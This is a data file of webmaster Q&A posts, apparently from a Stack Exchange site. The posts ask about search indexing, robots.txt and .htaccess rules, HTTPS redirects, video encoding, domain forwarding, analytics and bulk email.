{"id":"48399","title":"\"Google couldn't access your site because of a server connectivity issue\"","text":"In Google Webmaster Tools on my dashboard I have a notice that appeared 2-3 days ago that says \"Googlebot can't access your site\". Under the Current Status it has: * DNS - SUCCESS * Server Connectivity - FAIL * Robots.txt Fetch - SUCCESS However, if I \"Fetch as Google\" the fetch status returns successful. This is a Joomla site so my robots.txt is the default Joomla one which shouldn't cause any problems: # If the Joomla site is installed within a folder such as at # e.g. www.example.com\/joomla\/ the robots.txt file MUST be # moved to the site root at e.g. www.example.com\/robots.txt # AND the joomla folder name MUST be prefixed to the disallowed # path, e.g. the Disallow rule for the \/administrator\/ folder # MUST be changed to read Disallow: \/joomla\/administrator\/ # # For more information about the robots.txt standard, see: # http:\/\/www.robotstxt.org\/orig.html # # For syntax checking, see: # http:\/\/www.sxw.org.uk\/computing\/robots\/check.html User-agent: * Disallow: \/administrator\/ Disallow: \/cache\/ Disallow: \/components\/ Disallow: \/images\/ Disallow: \/includes\/ Disallow: \/installation\/ Disallow: \/language\/ Disallow: \/libraries\/ Disallow: \/logs\/ Disallow: \/media\/ Disallow: \/modules\/ Disallow: \/plugins\/ Disallow: \/templates\/ Disallow: \/tmp\/ Disallow: \/dev\/ Any help with how to diagnose the problem? I'm not sure why this has suddenly cropped up for no apparent reason."}
{"id":"48398","title":"Google Webmaster Tools site removal","text":"I had a major issue in the last week where a site was found to be showing huge numbers of pages that it shouldn't have been. Naturally Google indexed all of these pages! Rather than manually remove 5000+ links, I thought the nuclear option of removing the whole site would be the best option (using the _Remove URL_ tool with no URL provided), since the site was poorly ranking anyway. I had read that this was a good way to reset your site if you wanted to start over. I removed the site, then after confirming that Google had removed it, I resubmitted the site for indexing and submitted a new site map and a new _robots.txt_ to prevent indexing of the restricted pages. The sitemap shows that it is indexed (or at least, a large portion of it is indexed) and I can see the Google bot activity on the site. However, on my dashboard I see _severe health problems_ listed, with the main one being _important page removed_ and a link to the removal request for the main site. Furthermore, there are no links to the site in the Google index (when tested against `site:mysite.com` in a search). Do I need to _reinclude_ the site using the removal tool? If I do this, will it re-add all the bad URLs that I was trying to get rid of?"}
{"id":"48649","title":"Protect SVG from client access","text":"I want to make a presentation that consists from some number of slides. The actual content of the slides is going to consist of vector elements in SVG format. The transition between slides should be managed with JavaScript. The question is, whether it is possible to implement this in such way that user can not save the presentation either using simple Save As... or digging into browser's cache? Also I am thinking about using Raphael (which is JavaScript library) instead of pure SVG. But as far as I know, it's impossible to protect JavaScript from client access since it's meant to run on client side. So is there any way to get full or some protection from client saving the slides?"}
{"id":"36236","title":"Where can I find Ad Networks with single liner Ads?","text":"I've developed a site that serves pure HTML Weather widgets (and they are great looking too). Just after two months I am generating 1.25K hits monthly (Google Analytics). Now I want to generate some money out of it. You can check my service out on Here . I am looking for affiliate or an Ads service that can I can hookup within but there is a twist in story. **_I want single liner text Ad in a particular location_** otherwise widgets will look rubbish, see this snapshot:  Plus I have some unique places in my site to place some banner ads as well, Here are existing set of services that I've already tried: * Ad Sense, doesn't allow or have such formats of methods. * Peefly provides you with straight links works best but I recorded some clicks (Through Google Events) and they didn't show me any, plus it introduces overhead of manually going and choosing your links. * BidVertise totally rubbish opens popups and what not, makes site look like spam I am new to this ad stuff so have a limited knowledge. Suggestions please? I have one more place in Forecast but I want to start simple. P.S. I also have a MetroUI like widget coming in the pipeline but its not ready yet."}
{"id":"20132","title":"SSL Certificate is Untrusted how to fix it","text":"How can i fix the untrusted ? And why it appears ? What may cause this problem.This is in FF but in Chrome is red https with x marked on it."}
{"id":"48393","title":"How to deal with a client who redesigned their own site badly?","text":"I am a freelance designer\/developer. I am starting a registered business and will be offering other services soon and I am in the process of expanding the portfolio section of my existing website but have noticed that one of my previous clients has had a bit of trouble and has tried to mimic the design I created for him and do it himself on a Wordpress site. I originally built him an actual website, on Windows hosting environment and the new version he has created (trying to mimic what I had created) looks terrible. This is going to reflect badly on me since I am showcasing his website in my portfolio. Now when people go to check out his site, they will no longer see what I built, they'll be seeing a terrible clone of what I made. How would you deal with this? I have recently found out that my client had lost my number and spoke to my friend about contacting me but didn't. And based on what was said when I finished the website years ago, there's no reason to assume that he didn't want to contact me again. Would you contact this client and see if they would like the website put back to its original state (and make any new updates that they wanted)? Or would you just take the link down from your website's portfolio, and just include a screenshot of the work you did for them? Or would you just show a list of logos on your portfolio for the people you've done work for? Or would you include the link to the client's site, along with a screenshot and also some disclaimer somewhere stating that while the screenshots were correct at the time, they may change in the future? I'd really like to contact this client to see if I can help them, because I know he likes his site to look perfect, and given what he said years ago, there's no reason for me to think that he likes what he's created. But I haven't contacted him yet because I don't want to be rude - because there's always a chance that he has changed his mind, or may be a little proud."}
{"id":"20136","title":"Two websites (and domains) on one hosting","text":"So I am a poor college student, thus I can't afford dedicated hosting, cloud or anything fancy of the like... However I managed to purchase myself two domain names say `http:\/\/abc.com` and `http:\/\/def.com` for two completely different PHP applications (both are CakePHP, database-driven applications). I also have an Economy hosting package from GoDaddy. So, my question is: will I be able to host those two applications on the same host? Is it just as simple as creating two separate folders 'abc' and 'def' and have the domain names point to them? I have found something of similar nature: http:\/\/stackoverflow.com\/questions\/4809112\/hosting-two-domains-using-only-one- vps . Not sure if this will apply to my case using GoDaddy service. Thanks for your help guys. I have never actually done deployment before. My whole life has been around LAMP stack local development. Hopefully this will clear up my mind a little."}
{"id":"54035","title":"Tracking IP of FTP uploader of files to server?","text":"I'd like to be able to see who uploaded or last updated a given file. I'm asking specifically about dreamhost panel, but info pertaining to cpanel would be useful as well."}
{"id":"68088","title":"Switching to HTTPS - redirect question","text":"Following the recent Google announcements about improved ranking for sites running on https we have a number of clients asking about this. Is it safe to just 301 redirect all pages to their SSL equivalent, for example in a common PHP include file: if($_SERVER['HTTPS']!=\"on\"){ $redirect= \"https:\/\/\".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; header(\"Location:$redirect\",true,301); exit(); } Obviously I'm aware this is also possible within a _.htaccess_ file but that cannot be modified in our case. Obviously all internal links would be switched to `https:\/\/` links but obviously we need to sort out incoming links from Google and elsewhere. Is this a sound approach? Are there any other gotchas to be aware of?"}
{"id":"3887","title":"Good Practice for Formatting SEO-Friendly URLs?","text":"Does anybody know what the best SEO practice and most effective format for URLs is currently? All lowercase or mixed case? Example: http:\/\/www.mysite.com\/What-is-My-Site\/ OR http:\/\/www.mysite.com\/what-is-my-site\/"}
{"id":"46894","title":"Typo3 Product display with spec selection","text":"I am looking for a possiblity in Typo3 to display our products. What I have in mind is something silimar to this: http:\/\/www.haagen-partners.nl\/aanbod\/ An image of the product, some key specs and a short description. Besides that a selector to narrow some of the specs, select a product branch etc. As far as I can see this is based on Multishop. However I have no clue how to implement this. Is there a different extension which is already closer to what I am looking for? Or does anybody know of a good tutorial how to do this?"}
{"id":"42647","title":"Need advice, previous parked domain not indexing on Google","text":"I originally bought the domain (www.iconicphotos.co.uk) a while ago, I then decided to try and sell it on Sedo. The domain was up for sale for a few months before I noticed that the ads being pulled through on the parked domain were porn based (Not happy about this!). Anyhow recently created a gallery site to sell my artwork from but I am finding now that the site isn't being indexed at all! I had a couple of pages appear a few days ago but for only a couple of hours before they were removed. If you try the non www version of the domain using (site) there are a couple of pages but they are they show the old parked domain info. I have created a WMT account and updated it with a new sitemap. I have also submitted the site again using the fetch as google bot option. Not sure what to do now?"}
{"id":"46897","title":"CSS3 allowed in email?","text":"I cannot find any answers or discussions if CSS3 is allowed in HTML emails from the search box. I am wanting to update my company newsletters and campaigns but I don't know what properties are allowed. A list similar to a browser list would be awesome. Does anyone have a list that identifies the CSS properties that can be used for emails?"}
{"id":"42643","title":"Clean URLs issue using .htaccess in PHP project","text":"I am working on a PHP laravel project. I am currently facing issues with _.htaccess_ file. I have following _.htaccess_ : <IfModule mod_rewrite.c> Options -MultiViews RewriteEngine On RewriteBase \/ RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [L] <\/IfModule> When I reload my page the it gave me following error: 404 Not Found The requested URL \/contacts was not found on this server. Then I opened `\/etc\/apache2\/users\/username.conf` file which had following line of code: <Directory \"\/Users\/username\/Sites\/\"> Options Indexes MultiViews AllowOverride None Order allow,deny Allow from all <\/Directory> In above code I changed `AllowOverride None` to `AllowOverride All`. Then I reload page and got following error: 403 Forbidden You don't have permission to access \/contacts on this server. When I add `FollowSymLinks` to _.htaccess_ file `Options` such as like this `Options -MultiViews FollowSymLinks`. Then sometimes I get this _500 Internal Server Error_ error and sometime this *Error 324 (net::ERR_EMPTY_RESPONSE): The server closed the connection without sending any data*. Each time I reload my page one of these errors with `FollowSymLinks` option. I also uncomment following lines in `\/etc\/apache2\/httpd.conf`: LoadModule rewrite_module libexec\/apache2\/mod_rewrite.so LoadModule php5_module libexec\/apache2\/libphp5.so and still I am getting same permission denied error. Please help me I am trying to solve this problem for past 3 days but it is till unresolved."}
{"id":"25436","title":"Magento mails coming from[ftpUsername]@[servername.hostingcompany.com] on behalf of SENDER","text":"I have a Magento installation, and for certain recipients the transactional emails appear to be coming FROM something like **[ftpUsername]@[servername.hostingcompany.com] on behalf of SENDER** instead of just **FROM SENDER**. I hope that makes sense. How can I fix this ? I know this has something to do with SMTP authentication or PHP mail but I cant find any such settings in magento and I don't know whether it's an issue with the magento settings, the server or the end users email clients. I also have a problem in that the mails send fine to all my own email accounts so I cant actually replicate myself it ( yet )."}
{"id":"27875","title":"Does Google Analytics only track domain names?","text":"I have a Google Analytics (GA) account for an existing site. We're developing a new site on a different live server, and I believe GA is tied to the domain name, not the IP address of the website. With the GA code installed on the development site before launch, once the DNS switch is made, GA should track the new site automatically, correct? Thanks."}
{"id":"27872","title":"Is there something like mathjax for chemical structures?","text":"I am making a website where people can ask and answer questions to bioinformatical matters. I was very delighted with mathjax and its easy use. Is there something like that for chemical structures? Or is there another way I can easily give users a way to view and write chemical structures\/chemical equations on my website?"}
{"id":"48021","title":"How to retrieve PageRank for a blogger blog?","text":"I know this sounds like a stupid\/obvious question, but when I try to retrieve the page rank of my blog using online tools, I don't get any result. My blog is know as http:\/\/tshikatshikaaa.blogspot.nl\/, and has a subdomain URL pointing to it: http:\/\/technotes.tostaky.biz\/. Is there any way I can retrieve the PageRank for my blog?"}
{"id":"45018","title":"What is a good open source web crawler?","text":"I'm looking for a good open source web crawler and i found these: DataparkSearch, GNU Wget, GRUB, Heritrix, ht:\/\/Dig, HTTrack, ICDL, mnoGoSearch, Nutch, Open Search Server, PHP-Crawler, tkWWW Robot, Scrapy, Seeks, YaCy. But I can not decide which is the best to search for products and prices. Does anyone have experience with web crawler and could help me? Only a tip for where i can read something helpful will help so much. If this question was asked in wrong StackExchange site please please tell me which one is correct."}
{"id":"59759","title":"How to generate meta tags for Twitter player card","text":"I am using flow player as video player in my website. Twitter supports player cards which will require some tags to be inserted in our pages provided by twitter. I did the same as mentioned by twitter but not able get approval. They are telling that My website has wrong meta tags. Can some one tell me whats the wrong with my twitter player card.? the following are the meta tags i have inserted. <meta name=\"twitter:card\" content=\"player\"> <meta name=\"twitter:site\" content=\"@PSPKfans_in\"> <meta name=\"twitter:creator\" content=\"@PSPKfans_in\"> <meta name=\"twitter:title\" content=\"Pawan Kalyan In India Today Magazine Preview\"> <meta name=\"twitter:description\" content=\"This Video Gives the Preview of the book. Pawan Kalyan In India Today Magazine Preview\"> <meta name=\"twitter:image:src\" content=\"https:\/\/www.pspkfans.in\/pawankalyanininidatoday.png\"> <meta name=\"twitter:player\" content=\"http:\/\/releases.flowplayer.org\/swf\/flowplayer-3.2.18.swf\"> <meta name=\"twitter:player:stream\" content=\"https:\/\/www.pspkfans.in\/pawankalyaninindiatoday.mp4\"> <meta name=\"twitter:player:stream:content_type\" content=\"\"> <meta name=\"twitter:player:height\" content=\"960\"> <meta name=\"twitter:player:width\" content=\"964\"> <meta name=\"twitter:player:stream:content_type\" content=\"video\/mp4\"> <meta name=\"twitter:domain\" content=\"www.PSPKfans.in\">"}
{"id":"29718","title":"What's the difference between an addon domain and redirecting any domain to any subdomain?","text":"Most of the server space vendors have two type of product: 1. They say this much space inside that you can park\/add NUMBER OF domain 2. Here also that much space inside that you can only park\/add ONE domain but you can have number of subdomains. So now in option 2: I have parked one main domain as `abc.com`. I have made one subdomain of that - `demo1.abc.com`. I have bought another domain `xyz.com`. In that domain's control panel I have an option for domain forwarding. Inside that I have forwarding `xyz.com` to `demo1.abc.com` and enable URL masking. In short I have also parked xyz to that space. **So what's the difference between between the two options? In both I can park a number of domains.** Then why does option 1 is have higher price then number option 2? **Also** Now the content of xyz.com would be accessed by both ways: xyz.com demo1.abc.com Typing in this in browser's URL will give same content so does it have any effect on SEO? What if I want to completely hide the detail about `demo1.abc.com` to the outside world?"}
{"id":"59219","title":"Is it possible to forward a domain with one subdomain exception?","text":"I have a `www.example.co` as my primary domain and a domain `example.technology` is forwarded to that domain. Now, can I add an exception for `subdomain.example.technology` to this confuguration? If the answer is yes then how?"}
{"id":"63161","title":"What could keep a javascript from loading properly on a page?","text":"We have a vendor that switched our files over to a new server. We had a carousel on our homepage that was using javascript saved on the vendor server. After the move the carousel javascript won't load and the carousel is broke (been working for a year and we haven't touched a file). So the odd thing is when I debug in FF I see our css and js for the carousel - I am also using full URLs for everything so it can't be a directory issue (Windows\/ASP). Now if I take the links for css and js (they are in the same folder) and try to hit them remotely from my laptop with the carousel code saved locally, the css works but not the js. No js in the folders they gave us work remotely. However I see the js loaded in FF debug. And if I copy the js, save it, and link to my local copy... the carousel works fine. Also if I go directly to the javascript saved on vendor server... it loads fine on a page. What could be going on? Perm issue? Edit: Header info. Response Headers From Cache Accept-Ranges bytes Content-Length 36927 Content-Type application\/x-javascript Date Sun, 25 May 2014 19:55:58 GMT Etag \"b8387cc1cc77cf1:b88\" Last-Modified Sun, 25 May 2014 03:52:32 GMT Server Microsoft-IIS\/6.0 X-Powered-By ASP.NET"}
{"id":"29248","title":"Is there a report in Google Analytics for visit duration for mobile only?","text":"I recently improved the mobile experience of a site and I want to see if it has had an impact. In Google Analytics, can I get a report on the visit duration limited to mobile devices?"}
{"id":"44495","title":"How can I convert a series of images to a valid HTML5 MP4 video?","text":"I am attempting to encode a video from an image sequence, for embedding as an HTML5 video. I have managed to encode into the WebM and OGG format successfully (so for example, it works fine in Firefox), but I'm having trouble with the MPEG4\/H264 version. I am using ffmpeg as follows: ffmpeg -i image%04d.bmp -b 1500k -vcodec libx264 %1.mp4 At the moment, this outputs a video that works in Chrome, but does not play in Internet Explorer. (Nor does it play on my Windows Media Player, which usually plays MP4 files fine.) I've tried changing my ffmpeg encoder (I've used a Windows build and a Linux build), and I've tried adding more parameters that I found on the web, e.g. the following: ffmpeg -i image%04d.bmp -f mp4 -strict experimental -vcodec libx264 -crf 22 -flags +loop -cmp +chroma -partitions +parti4x4+partp8x8+partb8x8 -me_method hex -me_range 16 -subq 6 -g 250 -sc_threshold 40 -i_qfactor 0.71 -b_strategy 1 -acodec aac -ac 2 -ab 128k -ar 44.1k %1.mp4 However, the result is the same. How can I render a video that Windows and IE can display? Note: I have specified the type in both the .htaccess file and inside the HTML5 tags, so that's not the problem. (Also, the page works fine in IE with other mp4 videos, so the problem is definitely with the encoding.) Update: I got this working with a 3rd ffmpeg installation that had some presets, I used \"-vpre slow -vpre baseline\" and it seemed to work, although the first 2 installations I had don't have these presets. Still, I don't know why these settings should be the difference between a broken file and a working one."}
{"id":"29246","title":"Are inconsistent language tags bad for SEO","text":"Our website offers 3 languages in the following manner: - **English** : `www.example.org\/en` with `<html xml:lang=\"en\" lang=\"en\">` - **Spanish** : `www.example.org\/es` with `<html xml:lang=\"es\" lang=\"es\">` - **French** : `www.example.org\/fr` with `<html xml:lang=\"fr\" lang=\"fr\">` However when we check in `Google Analytics`, we can see that Google has generated much more language tags (some in the form of a `language`, others in the form of `language+region`).  My understanding is that the `<html lang>` tag doesn't dictate how Google considers the content language, instead Google determines the language based on the actual analysis of the content, which I believe shows that our content is actually inconsistent. **Q1: Is this negative to our SEO, and if so in what measure?** When we click on the reported languages, all we see is a pretty useless view which only shows the selected language accounting for 100% of itself:  **Q2: Can we see which pages were identified as being of a certain language?**"}
{"id":"29711","title":"Suggestion for web application simmilar to wiki+SE","text":"There were plenty of *.stackexchange places in which I could have posed this question. I hope I have chosen the right one. I am looking for an open source wiki\/stackexchange like application. The layout of stackexchange is almost fine to me, I'd just like it to be structured a little bit more like a wiki page. There are plenty of options available so I am wondering what would you suggest to me so that it would best fit the following list of requirements: 1. The site would allow users to start new pages about some topic that interests them. There would be a template the OP would have to fill in (description, suggestions, external links) as on a Wiki page 2. On the bottom of every such page there would be a list of \"answers\" and comments that other users would contribute 3. There is an option to vote every answer. Moreover every post can be voted according to some attributes (importance, usefulness..) 4. Every answer and original post can be edited by anyone as on wikipedia 5. There is a flexible system for rating users (reputation system) Can someone suggest me something that approximates the list of requirements?"}
{"id":"26147","title":"Google webmaster tools keeps listing errors about urls that don't apear on my site","text":"Google webmaster tools keeps listing errors on my site about urls such as http:\/\/website.com\/kulVxMTq1FRqJDMRo 93\/f\/w8kgNtn9x5EPpXKrKzo= The problem is that I don't have links with such urls and that GWT doest indicate the where it found the link. Is there a way to find where those urls come from?"}
{"id":"39664","title":"How to copy Wordpress website within same hosting?","text":"I use bluhost web hosting. I already have `mysite1.com`. I want to copy this website to different domains within the same hosting, eg. `mysite2.com`, `mysite3.com`, and so on. All sites will have the same content as `mysite1.com`. How can I do it in fastest possible way ?"}
{"id":"18513","title":"University-like web hosting","text":"I recently finished my PhD, and so my student web space is no more. My postdoc institution doesn't offer webspace to postdocs. And now, for the first time in 7 years, I have no website. I've been looking into hosting companies, etc. but I'm having trouble finding one that is the most university-like. For example, I'd like to be able to put some python CGI scripts on, but that's not nearly as common as Perl for support. I'd really like Linux\/UNIX hosting and to manage it via SSH and SFTP (web-based uploading would drive me crazy at this point). I was looking into Amazon (having had good results with EC2 for running some time-consuming code awhile back), but I wanted to ask if that would be overkill for a website that doesn't get thousands of hits a week. ... or should I just host it myself? I'm currently, um being loaned internet from a neighbor (I moved a few months ago and haven't needed to get internet yet). But I do have a desktop computer not getting much use and could just buy internet. Also, in the off chance that I _do_ end up getting a lot of hits, I'd much rather it slowed down than costing me tons of money (I don't have advertising on it). I've just been spoiled by university life, and now I need to grow... but not grow up."}
{"id":"11863","title":"Sending Bulk Email\/Newsletter (20,000 emails) - our SMTP server vs bulk provider, what software, etc","text":"Wishing to send an email to about 20,000 recipients. Our own SMTP server used for transactional emails I believe is well trusted, we've not heard of deliverability problems, mails go to gmail\/yahoo fine. DKIM, SPF, DomainKeys all set up, etc. **What program should we use to send the email?** Would people recommend bulk email software like Sendblaster? Would this handle unsubscribes, etc? **Send via SMTP server or connect direct to theirs?** Know some of this software can connect directly to the the recipients SMTP server. Is this advisable or is sending via a trusted SMTP server better? **Use our own SMTP server vs provider like SendGrid\/Critsend?** Presume if we were using bulk email software we'd have to connect to a SMTP service. Are we best sending using one of these services or our own server? My thinking is the bulk sender providers may not have sent emails before to the people we're sending to and as such perhaps our server has better reputation? **If our SMTP server, what software (Windows)?** Currently using SmarterMail, is this up to it or should Update: https:\/\/www.senderscore.org\/ reports our mail server IP with a score of 99, low delivery risk and very low volume. Any opinions? **Edit:** thanks for the answers so far. Providers like MailChimp are just too expensive for one off emails. Plus they don't seem to like bought lists - in the UK this is fine if the data is collected lawfully under the List Warranty Register - http:\/\/www.dma.org.uk\/information\/ind-listintro.asp"}
{"id":"11864","title":"Webmail with option to change password for email account?","text":"Been testing out different webmail options to use (so far AfterLogic, Horde) And it seems that there is no options to change password for user. It's really bad thing that i have to go to server and manually change passwords for users. Is there any webmail solution that will allow me to change password, that also changes on server (as client). Or is it server setting i must use before? Or it is not possible? EDIT: **Note that i have cPanel host.**"}
{"id":"14810","title":"Apache rewrite returns error 500","text":"I'm trying to figure out what I'm doing wrong with this .htaccess rewrite: Options -Indexes RewriteEngine on RewriteBase \/test\/site\/ RewriteOptions MaxRedirects=10 RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ \/test\/site\/public\/page.php?rel=$1 [NC,L,B] I have an Front end script that handles all of the requests. In my case I don't need or have `index.php\/index.html` file in my root project (`\/test\/site\/`). That causes Apache to throw 403 error because of the first line of the code. The code will work only if you access the links as follows: http:\/\/localhost\/test\/site\/public\/index http:\/\/localhost\/test\/site\/public\/something\/else\/index.html But if you enter http:\/\/localhost\/test\/site\/public\/ It'll throw 403 error. I'm pretty sure I'm doing something wrong but I can't figure it out."}
{"id":"54259","title":"Larger text + box in Google Search?","text":"Just curious, but I saw this when searching for \"webmasters stack exchange\".  The site seems to get \"special treatment\" with larger text, extra links underneath the main link, and a box around it. How can a site achieve this prime spot? It's just the first time I've seen this before, so maybe someone can shed some light on this."}
{"id":"33778","title":"One website two CMS","text":"I have a business with two products, lets say boat engines and car engines. Direct from the home page one can click on either cars engines or boat engines. The subpages of each section are then not related. It is almost like two sites with one home page. However there are pages which should be common to both such as \"About us\" or \"Vacancies\" etc. My web-designer\/programmer built this website with two CMSs. One for boat engines and one for car engines. Both were done with Wordpress. My question is: besides double-entering of content for the common pages, what are the pros and cons of having two CMSs. I expect 40% of my company sales to come through this website, therefore any information about the impact on SEO (positive or negative) would be welcome too."}
{"id":"18519","title":"Pre-defined (canned) contact form messages on your website","text":"I want to know what you guys think of having a contact form on your website with a few pre-defines (canned) messages on your website. I am talking here about a personal website, like a portfolio website. I want to lower the steps you have to take to get in contact me, make it easy for people to send a small massage. I was thinking of something like this. Start with an email box, that is required to fill in. After that a name, not required. Then have 2-3 messages says: 1)Hi, I just want to say hi; 2)Hi I have a job for you!; 3) etc; 4) of course having the option for a custom message. **Your visitor just has to click the message, and it will be emailed.** === Security: I also want to remove the captcha. Just store the IP of the user, and the user can only send 1 message. If the user wants to send another messages then the captcha will popup. ==== Cross-browser. If people have older browsers and the javascript system is not supportant, then there us just a normal contact box. What do you think of this, are there any problems you can run into?"}
{"id":"8939","title":"Slideshows in elastic or fluid layouts?","text":"I'm building a new WordPress TwentyTen child theme using the ElastiCSS framework ( http:\/\/elasticss.com\/ ) and am trying to figure out the best way of using some sort of dynamic content slideshow. **What is the best way to implement a slideshow in a fluid or elastic layout such that it remains proportional to the other items in the content area?** Should I even bother trying to obtain that? Or should I use like four different sizes in conjunction with something like the Less framework ( http:\/\/lessframework.com\/ )? Thanks! (BTW, I've posted here because this was more of a \"what's the best option\" question than a \"How do I program that?\" question. If you think it would be more appropriate on SO, please move it there.)"}
{"id":"14819","title":"CSS images loading extremely slow","text":"I'm having difficulties with the following website : http:\/\/ladaily.com\/los-angeles Seems like the rendering time of small images (less than 1KB) is extremely slow (over 2+ seconds). Any idea on what can I do? I know a big CSS file is a problem, but I can't do anything now to seperate it – any other idea why it occurs? * * * I think I got if figured , but from some reason images still loading very slow , Do you think it has anything with the server's configuration ?"}
{"id":"8427","title":"Website not coming in Search engine results because of a term","text":"We have this site which is named Vialogues (Video+Discussion web based application). https:\/\/vialogues.com It has been around for sometime on the internet and we have also submitted sitemap.xml to search engines. However when we search on google or bing or yahoo using the keyword Vialogues, We are given results of the keyword dialogues and this message “showing results for dialogues, search instead for vialogues”. I am wondering if it's possible to list the site without the search engine suggesting “showing results for dialogues, search instead for vialogues”?"}
{"id":"2911","title":"Google analytics and 301 redirects","text":"We have a multilingual website and the first page redirects to specific language page using 301 redirect based on some logic. For example: `http:\/\/mysite.com\/` redirects to `http:\/\/mysite.com\/en\/` The problem is that these redirects destroy the primary request so we do not get correct results for traffic sources in GA. **How do you handle this case? Is there something that we can do?** Any ideas will be appreciated"}
{"id":"34275","title":"Find \"secret\" port number","text":"this may be kind of an odd question. My friend has challenged me. So somehow, he change the \"port\" of his site to 31337. If you just go to domain.com, you get redirected to google, to access the real site you go to domain.com:31337. He is going to change it again and he is challenging me to find out which port it is. Is this possible without guessing? Hopefully someone can help! Thanks. Oh, and is this the right stack exchange site to post this on..."}
{"id":"7177","title":"Quoting people for website dev. work","text":"I have recently given some quotes to a few people. And I need some advice about how things should be done... **Q1** : I've seen, heard of and read about a lot of developers using free resource sites online to obtain free Privacy Policy, Disclaimers etc for their\/customers websites. A customer I quoted the other day **expected** me to write\/get a disclaimer for their site. Who in their right mind would expect a document like that from a Web Developer? I just told them that they need to sort that stuff out themselves with a Lawyer or something, and then to send it to me so I can paste it on a webpage for them. **Q2** : If you're charging per hour, and you estimate that the project would take 1week to finish (including testing\/releasing), but you soon realise that you'll require more time, do you RE-quote them? Or do you just finish off the site at the original quote price? Q3: How do you figure out how much **you** will charge your customers? Do you charge per-feature, or per hour, or per day, or all of the above? Thanks :)"}
{"id":"7176","title":"Other link relationships and impact to the SEO","text":"Example other link relationships <head> <link rel='index' title='Main Title' href='http:\/\/domain.com\/' \/> <link rel='start' title='Part Three' href='http:\/\/domain.com\/part-3\/' \/> <link rel='prev' title='Part Two' href='http:\/\/domain.com\/part-2\/' \/> <link rel='next' title='Part Four' href='http:\/\/domain.com\/part-4\/' \/> <\/head> Questions Have a big impact to make my site get a nice rank to Search Engine?"}
{"id":"39527","title":"How this site is ranked so high in SERP's with no content?","text":"In last few months whenever i search for computer wallpapers (using various keywords), somewhere between 1st and 5th position is always site http:\/\/hdw.eweb4.com Everything on that site is scraped from other wallpaper sites and all it do, is to link to external resources (wallpapers). **Question: Why Google rank it so high when there is no real\/unique content on it?**"}
{"id":"7172","title":"SEO for images: can I use a different (cookieless) domain?","text":"1. We want to increase the value of some of our important images by means of SEO, and 2. we want to start serving them from a different, i.e. cookieless, domain. We want to go from www.example.com\/images\/1234.jpg to www.example.com\/germany\/bavaria\/landscape.jpg which can easily be done via URL rewriting. Then on the other hand, we would like to serve the image from a completely different domain, let's say www.examplestatic.com\/germany\/bavaria\/landscape.jpg, to save the overhead of sending the cookie from www.example.com. Somehow I feel that this is not a good idea because I move the image away from the content by putting it on a different domain. Can anyone shed some light on this problem? Naturally, I would just use a different subdomain, e.g. img.example.com, but we already use subdomains for languages and our cookies are valid for all subdomains of example.com, so this won't help. UPDATE: We are not so much worried about the search-ability of the images themselves, it's rather all about optimizing the pages they appear on. So a telling name\/url for an image including a telling `alt` attribute is probably a must have - but my question is about the domain part, if it's a bad idea to use a different domain. But then again, the big players also have dedicated static content domains, e.g. images-amazon.com, ebaystatic.com, ... so there can't be anything wrong with it, can there? END UPDATE I'd really appreciate any hints. Cheers,"}
{"id":"48502","title":"Google Analytics and framesets","text":"I have a simple web page hosted in an EC2 machine, using nginx. Let's say my web page is reachable by: http:\/\/<my_ec2_machine_static_ip>\/my_web_page I've put a Google Analytics tracking code inside my page, in the head section. After that, I've bought a domain name, and redirected it to the above address. I've used the \"invisible redirection\" of my domain provider, to avoid showing the IP in the address bar, and show the domain name instead. As result, my domain provider construct a web page with a `frameset` that contains the real URL of my site. This way: <FRAMESET ROWS=\"*,0\" FRAMEBORDER=0 BORDER=0 FRAMESPACING=0> <FRAME SRC=\"http:\/\/<my_ec2_machine_static_ip>\/my_web_page\" NORESIZE> <\/FRAMESET> The Analytics support page for framed sites says: \"We recommend that a site using frames includes the tracking code in the `<head>` section of the frameset (parent) page, as well as directly before the `<\/head>` tag of each child frame that you want to track.\" The problem is I don't have access to the \"parent\" page (the page that contains the frameset code above). I just have access to my page. So, I can't put the tracking code in this \"parent\" page. Is there a cleaner way of doing this? Am I going to get fake statistics for this reason? Many thanks in advance"}
{"id":"2916","title":"What are the boundaries of a day in google analytics?","text":"I thought initally it would be the timezone I have configured, however, this does not seem to reflect the true activity. Or is it only the delay of the data analysis that creates this feeling?"}
{"id":"32651","title":"Emigration to UK vs English language skills","text":"I have completed technical secondary school this year (I'm 20) in Poland. I work as freelance web developer for 4 years (PHP very good, MySQL strong basics, HTML excellent, CSS excellent, JS\/AJAX\/jQuery basics). So I don't have academic education yet. I'm planning to start studying computer science this year, but I hit on an idea to emigrate to London (or Dublin\/Amsterdam\/Madrit\/Barcelona maybe?) for one year, then come back to Poland and start studying here. The goal is to improve my English skills, enhance some work exp, get to know how living abroad looks like, meet new people\/cultures. My main fear and problem is English language level. Usually I don't have problems with reading and writing, but speaking and listening is not my strong competence. My English isn't fluent and is not very good currently (I think it's communicative, but in small\/middle level). My experience: > 30 websites (with CMS, etc) [within this few bigger portals], few computer programs. I worked in a advertising agency (half year in 2010); now I cooperate for 1,5 year with another ad agency which gives me websites to create. I will try to get references from most of my clients and from my bosses of that advertising agencies. What do you think, do I have some chances to get some job as junior web developer \/ PHP programmer? Thank you in advance for your help and advices. Regards!!! PS. Why stackexchange throws out \"Hi\" or \"Hello\" from the beginning of the post? :O"}
{"id":"31730","title":"How to determine the amount to spend per phrase on Adwords research?","text":"My company would like to start a PPC advertising campaign. Whilst I understand the concept and how to set everything up from a technical point of view, this is something I've never done before. Logically, we'd like to test out a wide range of keywords that we _think_ would lead to conversions, which we've put together through brainstorming and with some help from Google's External Keyword Tool. Sub-question whilst I remember - am I correct in thinking that in Google's keyword tool, keywords that we think will perform well that have a low competition yet high monthly searches are _good_ since there will be less advertisers, meaning our bid per click will be less? Is there a common benchmark or process of doing a round of tests with keywords? Should we wait for 100 clicks on each keyword, see which ones have lead to the most sales (or rather, sales that are sustainable with the cost per click of that keyword), then drop the ones which aren't converting and put that budget onto the converting keywords? We realistically have a few hundred keywords\/phrases we would like to test, but spending $100 per keyword\/phrase is going to work out as quite an expensive test. It would be nice to be able to spend $5-10 per phrase, but I don't think the sample size would be great enough to determine anything usefully reliable. Another approach might be to setup all the keywords, and those that bring the most sales within x hours\/days would be the ones we use. **What is the common procedure with things like this?** I know there are a plethora of companies that specialize in exactly this, but this is something we anticipate doing _a lot_ in the future, so it would make sense to do it in house if at all possible."}
